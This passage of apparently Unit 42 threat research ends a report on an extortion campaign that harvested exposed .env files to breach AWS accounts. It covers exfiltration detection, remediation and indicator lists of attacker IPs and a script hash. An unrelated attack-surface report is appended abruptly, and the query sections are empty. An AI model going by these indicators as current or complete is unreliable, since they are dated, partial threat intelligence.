Unit 42 determined one ISP IP address was geolocated in Ukraine and appeared in part of the lambda function activity. The second ISP IP address was geolocated in Morocco and was associated with the S3 access and exfiltration. Based on the user-agents and time between API calls, we determined the threat actor manually performed these access operations, which leaked the threat actor's possible physical location.

Cost and Usage Reports

Logs are essential for effective incident response, and an ideal environment has all logging options enabled. To identify exfiltration events from S3 buckets with granularity, organizations should enable S3 access logging or CloudTrail data events logging prior to an incident occurring.

Both forms of logging help organizations identify GetObject API calls (e.g., the data being fetched) and DeleteObject API calls (e.g., the data being deleted). Both S3 access logging and CloudTrail event logging record the IP addresses and user agents for each request made to the target bucket.

It’s important to note that neither of these log sources are enabled by default, and they will increase costs for the organization’s cloud environment. However, enabling logging for these sources will greatly assist in the identification and alerting of malicious cloud operations.

However, if neither CloudTrail event logging nor S3 access logs are enabled at the time of an incident, there is still hope. Leveraging the Cost and Usage report for S3 can allow organizations to identify spikes in the occurrences of the API calls for GetObject (bytes out) and DeleteObject (bytes deleted) events.

There are drawbacks in leveraging Cost and Usage Reports to identify exfiltration operations. Organizations can only identify high-level activity that occurred within the bucket and the data can only be aggregated into hourly, daily or monthly time frames as shown in Figure 12. This prevents organizations from investigating individual events or retrieving the metadata associated with each of the events.

Image 12 is a table of cost use report line item examples. The columns are start time, end time, service, operation, usage type, resource, and the usage value measured in bytes.
Figure 12. Cost and Usage Report line item examples.

The GetObject and DeleteObject Cost and Usage Activity records bytes out or bytes deleted, respectively. Using these reports, we have successfully assessed the likelihood that exfiltration events have occurred, pointing to key time frames when there are anomalous spikes in activity.

Remediation

In a majority of these attacks, threat actors obtained long-term IAM access keys allowing them to move into the control plane with no time limit to their credentials. Unless an application or workload requires the use of an access key, IAM roles provide the same ability as access keys, but they are temporary. Using temporary credentials limits the amount of time a threat actor has access to an account.

Another way to protect against these attacks is following the principle of least privilege when provisioning permissions. Limiting the permissions associated with an IAM resource limits the scope of what a compromised credential can perform (e.g., restricting identities that can perform iam:CreateRole and iam:AttachRolePolicy). That way even if a threat actor were to successfully gain access to long-term or short-term credentials, they wouldn’t have enough permissions to execute their malicious actions.

Additionally, disabling all unused regions within an AWS account also protects against these attacks. Threat actors deploy resources in multiple regions to attempt to remain undetected, so disabling all unused regions prevents the threat actors from hiding their attacks.

And finally, enabling logging and establishing a monitoring process is vital to protecting an organization's resources. Regarding AWS, enabling basic logging such as CloudTrail and VPC flow logs provides the base level of visibility into an environment. Amazon GuardDuty also contains a variety of features to help protect against threats to EC2 instances and credential exploitation.

Depending on the AWS services used, organizations will want to ensure they enable the specific logging unique to that service. After organizations establish the proper logging and retention of that data (90 days minimum retention recommended), then the focus shifts to monitoring those data sources.

AWS’s GuardDuty provides a base level of alerting, but each organization should review what services they use and how abnormal activity might appear in the logs. From there, organizations should create alerts for abnormal activity.

Conclusion

We identified a wide-scale extortion operation that resulted in the successful compromise of several cloud environments. The initial access used within the extortion campaign was the direct result of exposed environment files (.env) files within the victim organization's web applications.

By targeting .env files, the threat actor was able to collect the exposed environment files of at least 110,000 domains. We identified over 90,000 unique leaked environment variables of which 7,000 were associated with cloud services and 1,500 were associated with social media accounts, oftentimes including account names in addition to authentication secret keys.

Protections and Mitigations

For Palo Alto Networks customers, our products and services provide the following coverage associated with the threats described above:

  • Next-Generation Firewall and Advanced WildFire accurately identify known samples as malicious.
  • Advanced URL Filtering and Advanced DNS Security identify domains associated with this group as malicious.
  • Cortex XDR and XSIAM
    • Prevent the execution of known malicious malware, and also prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.
    • Protect against credential gathering tools and techniques using the new Credential Gathering Protection available from Cortex XDR 3.4.
    • Cortex XDR Pro detects post-exploit activity, including credential-based attacks, with behavioral analytics.
  • Prisma Cloud
    • Attack Path Policies are built on a unified data model that automatically correlates findings across cloud misconfigurations, vulnerabilities, excessive IAM permissions and network exposures. When combined with Unit 42 Threat Intelligence, coupled with machine learning (ML) and user and entity behavior analytics (UEBA), security teams can detect exploited attack paths.
    • When paired with the WildFire integration, the Prisma Cloud Defender agent will identify malicious binaries and make verdict determinations when analyzing executing processes.
    • When paired with XSIAM, the Prisma Cloud Defender is enabled to block malicious processes from operating within the cloud environment.
    • Prevents the execution of known malicious malware, and also prevents the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.

Hunting, Investigation and Detection Queries

The following queries are intended to assist Palo Alto Networks customers in hunting, investigating and detecting potentially malicious operations within their Cortex XDR and Prisma Cloud platforms. The results of these queries should not be taken as malicious on face value. The queries require careful examination of the resulting events before they can be found malicious.

Pay close attention to the source IP addresses, user agent and the ARNs for each event. If ARNs are being created, modified or deleted, investigate for unwanted modifications to critical infrastructure or the creation of unknown or suspicious ARN names. Unit 42 IR services are available for anyone who’s determined they have been breached, compromised or otherwise affected by malicious events.

Cortex XQL Queries

IAM

Security Groups

EC2

Lambda

Prisma Cloud RQL Queries

IAM

Security Groups

EC2

Lambda

Prisma Cloud Attack Path Alerting

Prisma Cloud Attack Paths offer a unique view into the configuration of cloud environments. By linking potential architectural misconfigurations, attack path alerts allow security operation center (SOC) personnel the ability to zero in on potential malicious cloud events.

By combining DevOps configurations and behavioral anomaly detection rules, attack path alerts trigger if a combination of event operations takes place. These alerts scale with the dynamic nature of cloud environments and allow SOC teams to maintain awareness of security events across multiple cloud platforms.

While there are many Attack Path Policies that could assist organizations, the following Attack Path Policies could assist SOC and DevOps teams monitor and maintain cloud security:

  • Credential exposure risk due to a publicly exposed and unauthenticated AWS Lambda function with risky credential exposure permissions
  • Credential exposure risk due to a publicly exposed and vulnerable EC2 instance with risky credential exposure permissions
  • Credential exposure risk due to malware in Amazon EC2 instances with risky credential exposure permissions
  • Data breach risk due to a publicly exposed and unauthenticated AWS Lambda function with Amazon RDS database SQL query execution permissions
  • Data breach risk due to AWS S3 bucket containing sensitive data not configured with access log feature and is accessible by unmonitored cloud accounts
  • Data exposure and data loss risk due to a publicly exposed unauthenticated AWS Lambda function with permissions over sensitive S3 configuration

Indicators of Compromise

URL

  • https[:]//github[.]com/brentp/gargs/releases/download/v0.3.9/gargs_linux (not malicious, used by the lambda function)

IPv4

Tor Exit Nodes

  • 109.70.100[.]71
  • 144.172.118[.]62
  • 176.123.8[.]245
  • 185.100.85[.]25
  • 185.100.87[.]41
  • 185.220.101[.]190
  • 185.220.101[.]19
  • 185.220.101[.]21
  • 185.220.101[.]29
  • 185.220.101[.]30
  • 185.220.101[.]86
  • 185.220.103[.]113
  • 192.42.116[.]181
  • 192.42.116[.]187
  • 192.42.116[.]18
  • 192.42.116[.]192
  • 192.42.116[.]199
  • 192.42.116[.]201
  • 192.42.116[.]208
  • 192.42.116[.]218
  • 198.251.88[.]142
  • 199.249.230[.]161
  • 45.83.104[.]137
  • 62.171.137[.]169
  • 80.67.167[.]81
  • 89.234.157[.]254
  • 94.142.241[.]194
  • 95.214.234[.]103

VPS Endpoints

  • 125.20.131[.]190
  • 196.112.184[.]14
  • 46.150.66[.]226
  • 49.37.170[.]97

VPN Endpoints

  • 139.99.68[.]203
  • 141.95.89[.]92
  • 146.70.184[.]10
  • 178.132.108[.]124
  • 193.42.98[.]65
  • 193.42.99[.]169
  • 193.42.99[.]50
  • 193.42.99[.]58
  • 195.158.248[.]220
  • 195.158.248[.]60
  • 45.137.126[.]12
  • 45.137.126[.]16
  • 45.137.126[.]18
  • 45.137.126[.]41
  • 45.94.208[.]42
  • 45.94.208[.]63
  • 45.94.208[.]76
  • 45.94.208[.]85
  • 72.55.136[.]154
  • 95.214.216[.]158
  • 95.214.217[.]173
  • 95.214.217[.]224
  • 95.214.217[.]242
  • 95.214.217[.]33

Hash

  • SHA256 for Lambda.sh - 64e6ce23db74aed7c923268e953688fa5cc909cc9d1e84dd46063b62bd649bf6

Updated title Sept. 3, 2024, at 1:1o p.m. PT for clarity.

Unit 42 Attack Surface Threat Research: Over 23% of Internet-Connected Exposures Involve Critical IT and Security Infrastructure

Introduction

Our latest Unit 42 Attack Surface Threat Report explores the attack surface landscape of 265 global organizations worldwide. The report is based on our observable data on exposures and vulnerabilities that are publicly accessible over the internet, collected over a one-year period. It also offers recommendations on how organizations should approach active attack surface management (ASM). Here we summarize key findings from the report and recommendations from the report, providing a high-level overview of today’s attack surface landscape.

Key Findings on the Attack Surface Landscape

Change in attack surfaces inevitably leads to exposure. We observed that attack surfaces across industries are always in a state of flux. Our research indicates that, on average, an organization’s attack surface has over 300 new services every month. These additions alone account for nearly 32% of new high or critical exposures for organizations.

The media and entertainment industry experienced the highest rate of new services added, exceeding 7,000 per month.

Figure 1 shows that all industries consistently add new services to their growing attack surface. Sectors like telecommunications, insurance, pharma and life sciences add over 1,000 new services every month. Critical industries like financial services, healthcare and manufacturing add over 200 new services monthly.

This image is a bar chart showing the median in various industries, with Media & Entertainment having the highest count and Hospitality the lowest, set against a black background.
Figure 1. Median count of new services introduced by a typical company in each industry during a given month across the 265 global organizations we analyzed.

For the past three years, the Unit 42 Incident Response Report has identified the most commonly targeted industries, which are also the top industries Unit 42 has provided incident response services to. In 2024, the top six industries identified were professional and legal services, high technology, manufacturing, healthcare, finance and wholesale and retail. Together, these industries accounted for 63% of cases.

While these statistics show which industries ask us for expert incident response help, other industries are at risk too.

Critical IT and security services are dangerously exposed to the internet.

Figure 2 shows that over 23% of exposures among the organizations we studied involve critical IT and security infrastructure, which opens the door to opportunistic attacks.

This image presents a pie chart illustrating the distribution of various types of IT and security infrastructure vulnerabilities in a network. The chart highlights different categories with corresponding percentages: Web Framework at 12.7%, Applications at 23.4%, Remote Access Services at 23.9%, IT & Security Infrastructure at 25.6%, Potential Regulatory Violation at 0.7%, Embedded Devices at 1.7%, Insecure Configuration/End-of-Life (EOL) at 2.1%, Insecure File Sharing at 0.3%, and Uncategorized at 3.6%. The colors vary for each category to differentiate them clearly.
Figure 2. Distribution of exposure categories observed across the 265 global organizations in the last 12 months.

These exposures include vulnerabilities in the following application-layer protocols:

  • SNMP
  • NetBIOS
  • PPTP

It also includes vulnerabilities in internet-accessible administrative login pages of the following products:

  • Routers
  • Firewalls
  • VPNs
  • Other core networking and security appliances

Recommendations For Actively Managing Your Attack Surface

A critical challenge for most organizations is tracking and protecting all assets. The 2024 Unit 42 Incident Response report reveals that in the past year, attackers most often gained initial access through software vulnerabilities, with the largest attack campaigns exploiting internet-facing systems.

To protect against these attack surface vulnerabilities, organizations should:

  • Maintain persistent, comprehensive visibility
    Identifying and responding to attack surface risks starts with continuous, comprehensive scans of your organization's ports, services and devices.
  • Monitor for unsanctioned services or shadow IT
    Regularly check perimeter resources to distinguish between expected assets and unknown or out-of-scope ones, ensuring adherence to security baselines. Deviations from these baselines are often the most vulnerable to compromise, making them prime targets for attackers.
  • Remediate critical exposure risks in real time
    Detection is only half of the battle. It is crucial to have processes and technology to assist security teams in identifying, communicating, tracking and automating remediation where possible.

How Palo Alto Networks Can Help

Get the full 2024 Unit 42 Attack Surface Threat Report for more global attack surface insights, trends and recommendations for best practices.

If ASM is new to your organization, or you’d like help with improving your program, Cortex Xpanse and Unit 42 Attack Surface Assessment can jump-start your journey. This assessment service gives you better visibility into your on-premises and cloud-based internet-connected assets and recommendations on prioritized actions to help you defend your organization.

Additionally, adding the ASM Module to your XSIAM deployment provides context on internet-exposed assets to enhance threat prevention, detection and response with AI and machine intelligence.

Additional Resources